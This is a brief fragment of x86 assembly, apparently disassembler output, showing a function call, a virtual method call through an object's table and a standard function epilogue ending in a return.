call fcn.00431bd4
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret